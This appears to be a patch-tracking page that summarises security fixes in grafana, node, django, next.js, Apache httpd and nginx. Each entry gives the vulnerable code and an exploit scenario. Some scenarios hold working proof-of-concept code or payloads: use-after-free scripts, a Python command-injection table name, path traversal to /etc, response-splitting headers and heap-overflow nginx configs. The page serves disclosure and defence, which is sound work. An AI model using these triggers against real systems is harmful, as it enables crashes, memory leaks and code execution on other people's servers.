“Exposing patches before CVEs since 2025”
Tuesday, September 1, 2026
Jul 24, 2026, 10:08 AM — grafana/grafana
Commit: 2376f13c46f1ad97cc9ce4d2ceeec4bd3e7200d3
Author: Fayzal Ghantiwala
Before this patch, the notification-history app installer did not wire in an AccessClient or enable RBAC filtering, so notification history queries were not restricted to folders the requesting user is authorized to read via `alert.rules:read`. This allowed any authenticated user (in a multi-tenant deployment) to query and view notification history for alert rules/folders belonging to other tenants or users without the required permissions, leaking potentially sensitive alerting/notification data across tenant boundaries.
appSpecificConfig.Notifications = &historianAppConfig.NotificationConfig{
...
Loki: historianAppConfig.LokiConfig{ LokiConfig: lokiConfig },
// RBACEnabled and AccessClient were not set, so no folder-based
// authorization was applied to notification history queries.
}
In a multi-tenant Grafana deployment with notification history enabled, an authenticated low-privilege user (no `alert.rules:read` grant on Folder X) sends a request such as `GET /apis/notifications.alerting.grafana.app/v0alpha1/namespaces/<tenant>/notificationhistory?folder=FolderX` — prior to the patch this request succeeds and returns notification history entries for alert rules in Folder X even though the user lacks the folder-level permission, because the historian app never consulted the AccessClient/RBAC layer to filter results by accessible folders.
Jul 23, 2026, 02:37 PM — nodejs/node
Commit: fd41198dff0f902c9fe66c481034eb5a02efb288
Author: Matteo Collina
DatabaseSync::Exec() and ApplyChangeset() held only a raw DatabaseSync* pointer while invoking sqlite3_exec()/sqlite3changeset_apply(), which can call back into JavaScript (user-defined functions, conflict/filter handlers). If the JS callback drops the last reference to the DatabaseSync JS object, V8's GC (which does not see the raw C++ pointer) can collect it, and subsequent use of the now-freed db pointer inside the SQLite C API leads to a use-after-free that can corrupt memory or be leveraged for further exploitation. The patch adds a BaseObjectPtr<DatabaseSync> guard to keep a strong reference alive for the duration of the call.
int r = sqlite3_exec(db->connection_, *sql, nullptr, nullptr, nullptr); CHECK_ERROR_OR_THROW(env->isolate(), db, r, SQLITE_OK, void()); ... int r = sqlite3changeset_apply(db->connection_, ...);
const { DatabaseSync } = require('node:sqlite');
let db = new DatabaseSync(':memory:');
db.function('gc_and_free', () => {
db = null; // drop last JS reference to DatabaseSync
global.gc(); // force garbage collection (run with --expose-gc)
return 1;
});
// Calling exec triggers the UDF, which drops references and forces GC
// while sqlite3_exec is still using db->connection_, causing UAF
db.exec('SELECT gc_and_free()');
Jul 23, 2026, 12:55 PM — django/django
📈 Patch landed 12 days 5 hours 36 minutes before CVE published
Commit: d8cedcab5241725003eef059dd76c533f24c5430
Author: mundur
inspectdb generates a Python models.py file by writing raw table names and exception messages directly into comment lines without escaping. If a table name or an introspection error message contains newline characters, the unescaped output breaks out of the '#' comment prefix and injects arbitrary attacker-controlled lines into the generated source file, which is later imported/executed as Python code.
except Exception as e:
yield "# Unable to inspect table '%s'" % table_name
yield "# The error was: %s" % e
continue
Create (or have introspection report) a table name such as "evil\nimport os; os.system('id')\n#" or trigger an introspection error whose message is "boom\nimport os; os.system('id')". When 'python manage.py inspectdb' is run and the output redirected to models.py, the injected newline causes the malicious line to appear outside the '#' comment, so it becomes executable Python code that runs when the generated models.py is imported by Django.
Jul 23, 2026, 11:59 AM — grafana/grafana
📈 Patch landed 32 days 3 hours 32 minutes before CVE published
Commit: 774db0605417b600aa3b5a3f0252cb34433bf9fc
Author: Kevin Minehart Tenorio
The localRepository's Create, Update, Write, Delete, and Move functions joined user-controlled paths (e.g. derived from folder/dashboard titles during export) directly with the repository root using safepath.Join without verifying the result stayed within the root directory. An attacker-controlled title containing traversal sequences like '../../../etc' could cause file writes, deletes, or moves outside the intended repository folder on the local filesystem.
fpath := safepath.Join(r.path, filepath) _, err := os.Stat(fpath) ... path = safepath.Join(r.path, path) ... fpath = safepath.Join(r.path, fpath)
Provisioning export with a folder title such as '../../../../etc/evil' would resolve to a path outside the repository root; calling Write(ctx, "../../../../etc/evil.json", ref, data, comment) before the patch would write attacker-controlled content to /etc/evil.json instead of being blocked, whereas after the patch resolvePath returns apierrors.NewBadRequest("the path '../../../../etc/evil.json' escapes the repository root").
Jul 22, 2026, 08:52 PM — grafana/grafana
Commit: 7b51fece7a0c2f86feb435b780e4a1b00ab0be66
Author: maicon
When force-deleting a folder via kubernetesFolderCascadeDelete, the cascade delete operation ran under a service identity that bypasses per-resource permission checks. A user who only had folders:delete permission (but not alert.rules:delete or folders:write on contained resources) could trigger deletion of alert rules and library elements within the folder subtree that they had no rights to access or modify, since only the top-level folder delete permission was checked before the entire cascade ran with elevated service-identity privileges.
cascadeCtx := identity.WithServiceIdentityContext(ctx, ns.OrgID) return s.cascadeDelete(cascadeCtx, ns.Value, name, cascadeDeleteOptions(options), true) // cascadeDelete recursively deletes alert rules/library elements without // checking requester's alert.rules:delete or folders:write permissions
1. User A is granted `folders:delete` on folder F but has no `alert.rules:delete` or `folders:write` permission on alert rules/library elements inside F (owned/managed by another team). 2. User A sends DELETE request with grace period 0 to force-delete folder F via the k8s folder API: `DELETE /apis/folder.grafana.app/v1/namespaces/default/folders/F?gracePeriodSeconds=0`. 3. Because kubernetesFolderCascadeDelete cascades under a service identity, the alert rules and library elements inside F (and any nested subfolders) are deleted without any check that User A actually has delete rights on those specific resources, resulting in unauthorized destruction of alert rules/library elements they could not otherwise delete directly.
Jul 21, 2026, 04:46 PM — vercel/next.js
📈 Patch landed 1 day 6 hours 12 minutes before CVE published
Commit: 019628571641dec57aaf349ba0c360e3964e6f12
Author: Sebastian "Sebbie" Silbermann
The action ID validation logic for MPA (non-JS) form submissions iterated over all form data keys and, for any key starting with $ACTION_REF_, performed expensive decoding/validation work with no limit on the number of such keys. An attacker could submit a form with an enormous number of $ACTION_REF_ fields to force the server to perform excessive processing per request, exhausting CPU/memory and causing a denial of service. The patch caps processing to at most 2 $ACTION_REF_ fields (the expected maximum for legitimate forms) and short-circuits validation once that limit is exceeded.
} else if (key.startsWith($ACTION_REF_)) {
// Bound args case
const actionDescriptorField =
$ACTION_ + key.slice($ACTION_REF_.length) + ':0'
Send a POST request to a Next.js app with Server Actions enabled, with a multipart/form-data body containing an enormous number of fields whose names start with '$ACTION_REF_' (e.g., $ACTION_REF_1, $ACTION_REF_2, ... $ACTION_REF_100000), each with attacker-controlled values. Before the patch, areAllActionIdsValid would process every single one of these fields (attempting expensive decode/validation logic) with no upper bound, allowing a single crafted request to consume disproportionate CPU/memory on the server and degrade or crash the service for other users.
Jul 21, 2026, 04:46 PM — vercel/next.js
📈 Patch landed 1 day 6 hours 15 minutes before CVE published
Commit: 669426f454e032a2a823bc66df3a8d19e306ac83
Author: Sebastian "Sebbie" Silbermann
In the Edge runtime, Server Actions did not enforce the `serverActions.bodySizeLimit` configuration when reading request bodies (both multipart and non-multipart). The `// TODO: add body limit` comment confirms the limit check was never implemented for Edge, allowing attackers to send arbitrarily large request bodies to Server Actions running on Edge runtime, potentially exhausting memory/CPU resources despite the developer having configured a body size limit.
if (isMultipartAction) {
// TODO: Add streaming support
const formData = await req.request.formData()
// TODO: add body limit
POST a multipart/form-data request to a Server Action route running on the Edge runtime (`export const runtime = 'edge'`) with a payload far exceeding the configured `serverActions.bodySizeLimit` (e.g., a 100MB form field), even though `next.config.js` sets `bodySizeLimit: '1mb'`. Before the patch, the request would be processed in full without rejection, unlike the Node.js runtime path which enforced the limit, enabling resource exhaustion attacks against Edge-deployed Server Actions.
Jul 21, 2026, 04:46 PM — vercel/next.js
📈 Patch landed 1 day 6 hours 15 minutes before CVE published
Commit: 93cb90891402fa4c47798d03cb9e05c13233766c
Author: Sebastian "Sebbie" Silbermann
The previous detectContentType() implementation scanned the entire uploaded/upstream image buffer (including running a full sharp metadata parse and regex-based SVG detection over the whole buffer) to determine the image format, which allowed an attacker to submit a large or crafted file (e.g. large whitespace-padded pseudo-SVG or crafted image data) that would block the Node.js event loop for a long time during synchronous/CPU-heavy processing. This could be used to cause a denial of service against the image optimization endpoint. The patch limits the SVG detection to a bounded scan, removes the fallback to full sharp metadata parsing on the whole buffer, and only inspects the first 1024 bytes via the lightweight detector, greatly reducing worst-case CPU/blocking time.
format = detector(buffer)
if (!format && !skipMetadata) {
const sharp = getSharp(concurrency, operationCache)
const meta = await sharp(buffer).metadata().catch((_) => null)
format = meta?.format
}
Send a request to the image optimizer endpoint (e.g. /_next/image?url=...) pointing to an attacker-controlled upstream that returns a 50MB+ file consisting mostly of whitespace/padding designed to look like an SVG (as added in test 'should return null for over 50MB of whitespace' and 'slow.svg.txt'). The old detectContentType() would scan/parse the entire buffer (including invoking sharp's metadata() on large binary data) causing significant event-loop blocking time per request, allowing repeated requests to degrade server responsiveness (DoS).
Jul 21, 2026, 03:46 PM — nodejs/node
Commit: 81145bf60b6d943bf03a5b52b305db1c248b6fab
Author: Filip Skokan
Private key material (RSA d/p/q/dp/dq/qi, EC private scalar, DH private key) exported from OpenSSL 3 providers into BIGNUM copies was freed with BN_free instead of BN_clear_free, leaving the raw private key bytes in freed heap memory instead of being zeroed out. Similarly, OSSL_PARAM builder copies and the plaintext DER intermediate buffer used during encrypted PEM export were freed without cleansing, allowing sensitive key material to persist in process memory after use. This can enable extraction of private keys via memory disclosure vulnerabilities (heap dumps, core dumps, cold-boot attacks, or other memory-reading bugs).
DeleteFnPtr<BIGNUM, BN_free> d_; DeleteFnPtr<BIGNUM, BN_free> p_; ... OpenSSLBufferPointer der_storage(der); // no cleanse of DER-encoded private key
An attacker with the ability to read freed heap memory (e.g., via a heap-dump-inducing bug, core dump analysis, or another memory disclosure vulnerability in the same process) could, after a Node.js application calls crypto.generateKeyPairSync('rsa', ...) or exports a private key (KeyObject.export()) or performs DH key exchange, scan the freed heap for uncleared BIGNUM buffers (e.g. search for the raw big-endian byte pattern of the private exponent 'd' or DH private key) and recover the private key bytes, since BN_free() (the pre-patch destructor) does not zero the buffer before returning it to the allocator, unlike BN_clear_free() used post-patch.
Jul 21, 2026, 03:46 PM — nodejs/node
Commit: 3cfb063bd4b51632d2cf398ce4094bbf3eadba4a
Author: Filip Skokan
When exporting an RSA private key to JWK format, the code failed to check whether optional private parameters (d, p, q, dp, dq, qi) were successfully retrieved before passing them to the BIGNUM-to-JWK encoder. If an RSA key object has incomplete private parameters (e.g., loaded from a malformed or partial key), the null BIGNUM pointers were passed directly to SetEncodedValue, causing a crash (null pointer dereference) instead of a graceful error. The patch adds explicit null checks and throws a proper crypto operation error when required private key components are missing.
if (key.GetKeyType() == kKeyTypePrivate) {
auto pvt_key = rsa.getPrivateKey();
if (SetEncodedValue(env, target, env->jwk_d_string(), pub_key.d)
.IsNothing() ||
SetEncodedValue(env, target, env->jwk_p_string(), pvt_key.p)
Construct or load an RSA private key object whose underlying EVP_PKEY has only n/e (public) parameters but is typed as a private key (e.g., via a crafted PKCS#8/DER blob with missing d/p/q/dp/dq/qi fields, or via a provider that returns partial params). Then call crypto.createPrivateKey(keyMaterial).export({format:'jwk'}) on this incomplete key. Before the patch, ExportJWKRsaKey would call SetEncodedValue with pvt_key.p/q/dp/dq/qi being null BIGNUM pointers, causing a null pointer dereference and crashing the Node.js process (DoS) instead of throwing a catchable JS error.
Jul 21, 2026, 01:28 PM — grafana/grafana
📈 Patch landed 29 days 5 hours 3 minutes before CVE published
Commit: cc44cf925ca7636fd646278349e625e0991cef5c
Author: Mihai Turdean
In the RBAC authz Check/BatchCheck flow, requests with an empty resource name but a specified parent folder were incorrectly answered by a capabilities-style early return that allows access if the user holds the action on ANY scope, ignoring the folder entirely. This let a user with permission on an unrelated folder (or resource instance) be granted access to folder-scoped queries such as 'can I list/set-permissions within folder X', effectively bypassing folder-based access restrictions.
if req.Name == "" && req.Verb != utils.VerbCreate {
if t.Scope("") == "*" {
return scopeMap["*"], nil
}
... early-return using any-scope check ...
}
Grant a user permission only on folder 'other' (e.g., scope 'folders:uid:other' for action 'dashboards.permissions:write'). Then issue a Check request: {Action: 'dashboards.permissions:write', Resource: 'dashboards', Name: '', ParentFolder: 'parent', Verb: 'set_permissions'}. Before the patch, because Name is empty and Verb != create, the capabilities early-return checks scopeMap for ANY scope match and returns true (allowed) even though the user has no permission on 'parent' folder — an over-grant. After the patch, since ParentFolder is non-empty and the resource supports folders, the request falls through to normal folder-inheritance evaluation and correctly returns false.
Jul 20, 2026, 07:50 PM — apache/httpd
Commit: 2b3075af7326cd84196a2d90211f4f40f42f68ea
Author: Eric Covener
The fixup_dir function in mod_dir.c called strcmp on r->content_type without checking for NULL, causing a segfault when a request is not mapped to any content type (e.g., no matching handler or type). An attacker or specific server configuration causing requests to reach this code path with a NULL content_type could crash the worker process, resulting in denial of service.
if (d->checkhandler == MODDIR_ON && strcmp(r->handler, DIR_MAGIC_TYPE)) {
if (!strcmp(r->content_type, DIR_MAGIC_TYPE)) {
r->content_type = NULL;
}
return DECLINED;
Configure a server with CheckSpelling or similar directive combined with mod_dir's handler check enabled, and send a request to a resource path that maps to no content-type (e.g. a request that bypasses normal type-checking modules, leaving r->content_type as NULL). Example: request a URI for a file with no matching mod_mime type mapping and no default handler set, such as `GET /somefile.unknownext HTTP/1.1` on a server configured with `CheckSpelling On` and minimal type configuration, causing r->content_type to remain NULL when fixup_dir is invoked, triggering strcmp(NULL, DIR_MAGIC_TYPE) and crashing the Apache worker process (segfault).
Jul 20, 2026, 03:45 PM — grafana/grafana
Commit: f50cf61264381656f017879a46721c84209226a7
Author: Yuri Tseretyan
When the LimitEmailToOrgMembers setting is enabled, Grafana restricts email notification integrations to only send to addresses belonging to organization members, preventing data exfiltration of alert data to arbitrary external emails. The email validator only checked V1 email integration configs and silently skipped V0 (Mimir) email integrations, allowing a user able to configure contact points to bypass the org-membership restriction entirely by using the V0mimir1 email integration type with arbitrary 'to' addresses.
func (v *OrgUserEmailValidator) ValidateIntegrationConfig(...) error {
if integration.Type != schema.EmailType || integration.Version != schema.V1 { // TODO: support v0
return nil
}
...
With LimitEmailToOrgMembers enabled, create a contact point integration of type 'email' with schema version 'v0mimir1' and set settings: {"to": "[email protected]", "from": "[email protected]", "smarthost": "localhost:25"}. Because ValidateIntegration/ValidateIntegrationConfig skips any config whose Version != schema.V1, this integration passes validation unchecked, allowing alert payloads (which may contain sensitive data) to be emailed to [email protected] despite the org-membership restriction that would block the same address in a V1 email integration.
Jul 20, 2026, 10:08 AM — apache/httpd
Commit: 7c6129b51935d9165241279637915eaf905c58f1
Author: Joe Orton
The v2 PROXY protocol parser accessed src_addr/dst_addr/ports fields in the TCPv4/TCPv6 union without validating that the header's declared address length (hdr->v2.len) was large enough to actually contain those fields. A malicious or malformed proxy sender could send a v2 header with fam=0x11 or 0x21 but a len field smaller than sizeof(ip4)/sizeof(ip6), causing the code to read beyond the actual received data (into uninitialized or adjacent stack/heap memory) when extracting the address and port values.
case 0x11: /* TCPv4 */
ret = apr_sockaddr_info_get(&conn_conf->client_addr, NULL,
APR_INET,
ntohs(hdr->v2.addr.ip4.src_port),
0, c->pool);
Send a PROXY v2 header with signature bytes, cmd=0x01 (PROXY), fam=0x11 (TCPv4), but set the 2-byte length field to a small value (e.g., 0) while providing only 0 bytes of address payload after the 16-byte fixed header, then close/short the connection. The parser will still read hdr->v2.addr.ip4.src_addr, dst_addr, src_port, dst_port (12 bytes) even though len declared 0 bytes available, causing a read past the validated/received buffer region and potentially leaking uninitialized memory content used as the perceived source IP/port in logs or headers.
Jul 20, 2026, 05:24 AM — nodejs/node
Commit: 00917ba54c26ce02cb5bf869fd1d7affd8c19a54
Author: Trivikram Kamat
The FFI implementation read the `signature.arguments`/`signature.return` values twice: once in native code to configure the actual native call interface (CIF), and again in JavaScript to build the argument-marshaling wrapper. Because `signature` could be a Proxy or an object with getters, a malicious signature object could return a large argument list (e.g., 8 arguments) to the native code establishing the CIF, then return a smaller list (e.g., 1 argument) to the JavaScript wrapper, causing the wrapper to pass fewer arguments than the native function actually expects, resulting in the native call reading uninitialized/stack memory for the unsupplied arguments.
DynamicLibrary.prototype.getFunction = function getFunction(name, signature) {
const raw = FunctionPrototypeCall(rawGetFunction, this, name, signature);
return wrapFFIFunction(raw, signature.arguments, signature.return, this);
};
const signature = {
get arguments() {
// First read (native CIF setup) returns 8 args; second read (JS wrapper) returns 1
this._reads = (this._reads||0)+1;
return this._reads === 1 ? Array(8).fill('i32') : ['i32'];
},
get return() { return 'i32'; }
};
const fn = lib.getFunction('sum_8_i32', signature);
// fn is now wrapped as taking 1 argument, but the native CIF expects 8.
// Calling fn(1) causes the native function to read 7 additional arguments
// from uninitialized stack/register state, leaking memory or crashing the process.
fn(1);
Jul 17, 2026, 10:02 PM — nginx/nginx
Commit: 95a24d1b9cdd89608c601748e2fdfe94fb81e7b3
Author: Vadim Zhestikov
In ngx_http_image_filter_module.c, ctx->length was set to the allocation size (image_filter_buffer) rather than the actual number of bytes received from the upstream when Content-Length was absent. If the upstream connection was truncated before filling the buffer, the image size parser and image decoders (ngx_http_image_size(), ngx_http_image_source()) would read/parse past the valid received data into uninitialized heap memory, potentially leaking memory contents or causing crashes when processing the resulting 'image' data (e.g., via JSON size output or generated thumbnail).
if (b->last_buf) {
ctx->last = p;
return NGX_OK;
}
// ctx->length remains == allocation size (image_filter_buffer), not actual bytes read
Configure nginx with image_filter enabled proxying to an upstream that sends a response without a Content-Length header and closes the connection early after sending only a few bytes (less than image_filter_buffer, e.g., 100 bytes of a valid JPEG header). Because ctx->length is set to the full buffer size (default 1M) instead of the ~100 bytes actually received, ngx_http_image_size() or the GD decoders will read/parse the uninitialized remainder of the buffer as if it were valid image data, potentially exposing uninitialized memory in the JSON size response (width/height fields derived from garbage) or causing erratic decoder behavior. This matches the nginx-tests case image_filter_truncated.t used to verify the fix.
Jul 17, 2026, 12:39 PM — nodejs/node
Commit: 46de80de88c6ab0fc1fa27aa4d51804c7e989da4
Author: esgor
In node's HTTP/2 implementation, nghttp2_session_mem_recv() could trigger callbacks (e.g., on receiving RST_STREAM or via JS callbacks during data delivery) that synchronously destroy an Http2Stream or invoke SendPendingData()/nghttp2_session_mem_send(), freeing nghttp2 internal stream state that is still being used by the in-progress mem_recv() call. This allows a remote peer to send crafted HTTP/2 frames (e.g., interleaved RST_STREAM and DATA frames) that cause the session to close/free stream memory mid-parse, leading to heap-use-after-free that can crash the process or potentially be leveraged for further exploitation.
void Http2Stream::Destroy() {
if (is_destroyed()) return;
if (session_->has_pending_rststream(id_))
FlushRstStream();
set_destroyed();
...
}
// SendPendingData() had no guard against being called while
// nghttp2_session_mem_recv() was still processing incoming data.
A remote HTTP/2 client sends a sequence of frames on a Node.js HTTP/2 server such that within a single TCP read (single nghttp2_session_mem_recv() call) it: 1) opens a stream and sends HEADERS causing the JS 'stream' event, 2) immediately follows with a RST_STREAM frame for that same stream id in the same TCP packet/buffer. While nghttp2 is still processing subsequent frames in mem_recv (still referencing the stream's internal nghttp2_stream struct), the RST_STREAM handling path (SubmitRstStream/FlushRstStream) previously invoked nghttp2_submit_rst_stream + nghttp2_session_mem_send synchronously, freeing/closing the stream object mid-parse. Repeated rapid RST_STREAM injections combined with pipelined frames (similar to HTTP/2 Rapid Reset style attacks) can reliably trigger use of freed nghttp2 stream memory in nghttp2_session_mem_recv(), causing a crash (DoS) as tracked in nodejs/node#64113.
Jul 17, 2026, 12:12 PM — apache/httpd
Commit: 54862287191d004a52ad080a20e4e947133b3e09
Author: Joe Orton
In mod_ldap's cache handling, the code released the LDAP cache lock after fetching a 'curl' (URL cache node) pointer and then re-acquired the lock later to access curl's sub-caches (compare_cache, dn_compare_cache). Between the unlock and re-lock, another worker thread/process could evict or free that URL node from the cache, leaving 'curl' as a dangling pointer that is subsequently dereferenced, causing memory corruption or a crash. The fix holds the lock continuously across the fetch-and-use sequence and re-fetches the URL node under the lock before write-back operations.
curl = util_ald_cache_fetch(st->util_ldap_cache, &curnode); ldap_cache_unlock(st, r); ... ldap_cache_lock(st, r); node = util_ald_cache_fetch(curl->dn_compare_cache, &newnode); // curl may be stale/freed
In a multi-worker httpd deployment using mod_ldap with mod_authnz_ldap for concurrent LDAP-authenticated requests: Thread A calls uldap_cache_comparedn(), fetches 'curl' pointer for URL X, then unlocks the cache. Before Thread A re-locks and dereferences curl->dn_compare_cache, Thread B triggers eviction of the LRU cache entry for URL X (e.g., by causing enough distinct LDAP URLs/caches to be created, exceeding cache size, via requests to many different LDAP backends or repeated cache churn), freeing the memory backing 'curl'. Thread A then dereferences the freed 'curl' pointer, leading to a use-after-free that can crash the worker process (DoS) or potentially be leveraged for further memory corruption under specific allocator conditions. Repeated concurrent LDAP auth requests reliably trigger the race and intermittent worker crashes, as noted in the changelog entry 'Fix intermittent worker crashes under concurrent LDAP-authenticated requests.'
Jul 17, 2026, 12:12 PM — apache/httpd
Commit: 753188653c2e139ffbeead6eacdb179adfa14826
Author: Joe Orton
Before the patch, mod_cern_meta.c merged every header line found in a .meta file directly into the outgoing response headers without restriction. Because HTTP framing-related headers (Transfer-Encoding, Content-Length, Connection, Trailer, Upgrade, Keep-Alive, TE) were not filtered, an attacker who could influence the content of a .meta file (e.g. via file upload, misconfiguration, or shared hosting) could set arbitrary or conflicting framing headers, enabling HTTP response splitting or request smuggling against clients or intermediary proxies. The fix explicitly rejects these framing headers and returns a 500 error if they are present in a .meta file.
else {
apr_table_set(tmp_headers, w, l);
}
Create a .meta file (e.g. index.html.meta in the MetaDir) containing: Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html <script>alert(1)</script> When Apache serves the associated resource with MetaFiles on, mod_cern_meta merges this header list verbatim into the response. The injected Content-Length (and potentially Transfer-Encoding) header creates a framing mismatch that can be leveraged for HTTP response splitting or request smuggling against downstream caches/proxies, allowing attacker-controlled content to be interpreted as a separate HTTP response.
Jul 17, 2026, 12:12 PM — apache/httpd
Commit: 22dc622fc5c1cefcca4a889560ccc08a0592d2a4
Author: Joe Orton
When mod_remoteip processes a PROXY protocol v2 header with the LOCAL command, it returned without setting conn_conf->client_addr and client_ip, leaving them NULL. Later code that assumes these fields are populated (mirroring the v1 UNKNOWN path which was already fixed) would then dereference the NULL pointer, crashing the worker process. This is remotely triggerable by any client permitted to send a PROXY protocol header with the LOCAL command to a server with RemoteIPProxyProtocol enabled.
switch (hdr->v2.ver_cmd & 0xF) {
case 0x00: /* LOCAL command */
/* keep local connection address for LOCAL */
return HDR_DONE;
Connect to an Apache httpd server with mod_remoteip's RemoteIPProxyProtocol enabled, and send a PROXY protocol v2 header with the LOCAL command byte (ver_cmd & 0xF == 0x00), e.g. raw bytes: '\r\n\r\n\x00\r\nQUIT\n' (v2 signature) followed by version/command byte 0x20 (v2, LOCAL) and a zero length, then proceed with an HTTP request. Because client_addr/client_ip remain NULL after processing, subsequent code paths that read c->client_ip or conn_conf->client_addr will dereference NULL, crashing the httpd worker process (Denial of Service).
Jul 16, 2026, 07:27 PM — nginx/nginx
Commit: fc9749b4170d493868dfaf44411d8fd9325d2f47
Author: Vadim Zhestikov
When xmlCreatePushParserCtxt() fails to allocate a parser context (e.g., under memory pressure), ngx_http_xslt_add_chunk() returns NGX_ERROR without setting ctx->ctxt, but the caller ngx_http_xslt_body_filter() still dereferences ctx->ctxt->myDoc on the error path, causing a NULL pointer dereference and worker process crash. The patch adds a check for ctx->ctxt == NULL before dereferencing it, avoiding the crash and gracefully sending the response.
if (ngx_http_xslt_add_chunk(r, ctx, cl->buf) != NGX_OK) {
if (ctx->ctxt->myDoc) {
#if (NGX_HTTP_XSLT_REUSE_DTD)
...
Trigger memory allocation failure during libxml2 push parser context creation (e.g., by exhausting worker memory via many concurrent XSLT-filtered requests with large bodies) so that xmlCreatePushParserCtxt() returns NULL inside ngx_http_xslt_add_chunk(). The subsequent access to ctx->ctxt->myDoc in ngx_http_xslt_body_filter()'s error path dereferences a NULL pointer, crashing the nginx worker process and causing a denial of service for all connections handled by that worker.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: b767540492e8c79a58bc26034d3bab2f708b7bd1
Author: Maxim Dounin
The nginx script engine (used for rewrite, map, set directives and complex value evaluation) computed the required buffer length in a first pass and then wrote data in a second pass without re-checking bounds. When variables with side effects (e.g., regex captures modifying other variables) or non-cacheable/volatile variables were evaluated, the length computed in the length-pass could become smaller than the actual data written in the copy-pass, causing a heap buffer overflow. This is exploitable via crafted configurations combining map/set with capturing regexes and volatile variables, which can be triggered by attacker-controlled request data (URI, headers) matched against the regex.
e.ip = val->values;
e.pos = value->data;
e.buf = *value;
while (*(uintptr_t *) e.ip) {
code = *(ngx_http_script_code_pt *) e.ip;
code((ngx_http_script_engine_t *) &e);
}
Configure nginx with:
map $uri $map {
~(?<capture>.*) $capture;
}
set $capture "";
set $temp "$capture $map";
Send a request with a URI whose length triggers a mismatch between the length-computation pass (using old $capture value) and the copy pass (using the value set by the map block, which mutates $capture as a side effect). This causes the second pass to write more bytes than allocated, overflowing the heap buffer allocated for $temp. Similarly, using a volatile variable like:
map prefix:$capture $map_volatile {
volatile;
~(?<capture>.*) $capture;
}
set $capture "";
set $temp "$map_volatile";
can cause the variable's length to differ between the length and copy phases (since it's re-evaluated non-cacheably), leading to the same heap overflow when e.g. an attacker sends a request whose URI capture group value changes in length between evaluations.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: a8289aa69c74f7e664ad63b91c17aa2a554f190f
Author: Roman Arutyunyan
The nginx script engine predicted a maximum length for computed variables/rewrite results (based on regex capture group max sizes) but the actual output could be shorter, especially with variable-length regex captures. The code returned the full predicted-length buffer without truncating to actual written length, leaking uninitialized (garbage) heap memory bytes to clients in HTTP responses via variables set by 'set', 'return', or map directives using regex captures.
value->len = len; value->data = ngx_pnalloc(r->pool, len); ... code((ngx_http_script_engine_t *) &e); ... *value = e.buf; // buf.len is the predicted max length, not actual written length
Configure:
map $uri $foo {
~^/(?<bar>[0-9]).*$ $bar;
}
location ~(?<bar>[0-9]*)[a-z]*$ {
return 200 $1:$foo;
}
Then request: GET /1234abcd
The response body will contain the expected short digits/colon but with trailing uninitialized heap bytes appended, since the predicted length (based on the regex's maximum possible capture size) exceeds the actual matched substring length, and the buffer isn't truncated to reflect the real written size — leaking adjacent heap memory content to the client.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: 0cca8e055a2d909f1a00c2071665b502ec2fe94c
Author: Pavel Pautov
When ngx_http_regex_exec() reallocates r->captures because the previous buffer was too small or marked for reallocation, it failed to reset r->ncaptures to 0 when the regex subsequently did not match. This left r->ncaptures referencing stale capture indices from a prior (larger) match, so later code reading $1, $2, etc. would read uninitialized or out-of-bounds memory from the newly allocated (and not fully populated) captures array, potentially leaking sensitive heap memory into response headers or bodies.
if (r->captures == NULL || r->realloc_captures) {
r->realloc_captures = 0;
r->captures = ngx_palloc(r->pool, len * sizeof(int));
...
}
// r->ncaptures not reset when regex doesn't match
Using the provided nginx config:
map test $my_map {
volatile;
~mismatch(.*) 1; # triggers realloc of r->captures in subrequest, regex fails to match
default "";
}
server {
location ~(.*) { # sets r->ncaptures with a real match
slice 50;
proxy_set_header Test $my_map$1; # $1 reads r->captures using stale r->ncaptures from before realloc
proxy_set_header Range $slice_range;
proxy_pass http://backend;
}
}
Sending a request that triggers the slice module to create subrequests causes ngx_http_regex_exec() to run the $my_map regex (which doesn't match, reallocating r->captures without resetting r->ncaptures). The subsequent evaluation of $1 in proxy_set_header Test then reads uninitialized/stale memory from the reallocated captures array, potentially leaking process memory contents into the proxied Test header sent to the backend.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: 700dc9e0e750e3f63587f9d0f9f36bae5ec47202
Author: Roman Arutyunyan
A subrequest that gets posted twice (once via ngx_http_subrequest() and again via ngx_http_postpone_filter() during unbuffered proxying with SSI includes) could be finalized twice, causing r->main->count to be decremented excessively. This reference-count corruption can lead to premature freeing of the request/pool while it is still referenced elsewhere, resulting in a use-after-free that could be leveraged for memory corruption or worker process crashes (DoS), and potentially further exploitation.
for (p = &r->main->posted_requests; *p; p = &(*p)->next) { /* void */ }
*p = pr;
... r->main->count--; ... (no reset of write_event_handler)
Configure nginx with SSI enabled and an SSI page containing two <!--#include--> directives where the included subrequests are proxied to an upstream with unbuffered proxying (proxy_buffering off) enabled, e.g.:
location /page.shtml { ssi on; }
location /sub1 { proxy_pass http://backend1; proxy_buffering off; }
location /sub2 { proxy_pass http://backend2; proxy_buffering off; }
page.shtml:
<!--#include virtual="/sub1" -->
<!--#include virtual="/sub2" -->
When the main request has data postponed by one include while another subrequest is created, and the backend for the second subrequest sends its response quickly (before the postponed data is flushed), the postpone filter will post the same subrequest a second time. This double posting causes ngx_http_finalize_request to be called twice for the same subrequest, decrementing r->main->count twice and leading to use-after-free of the main request structure, crashing the worker process or potentially being exploited for further memory corruption.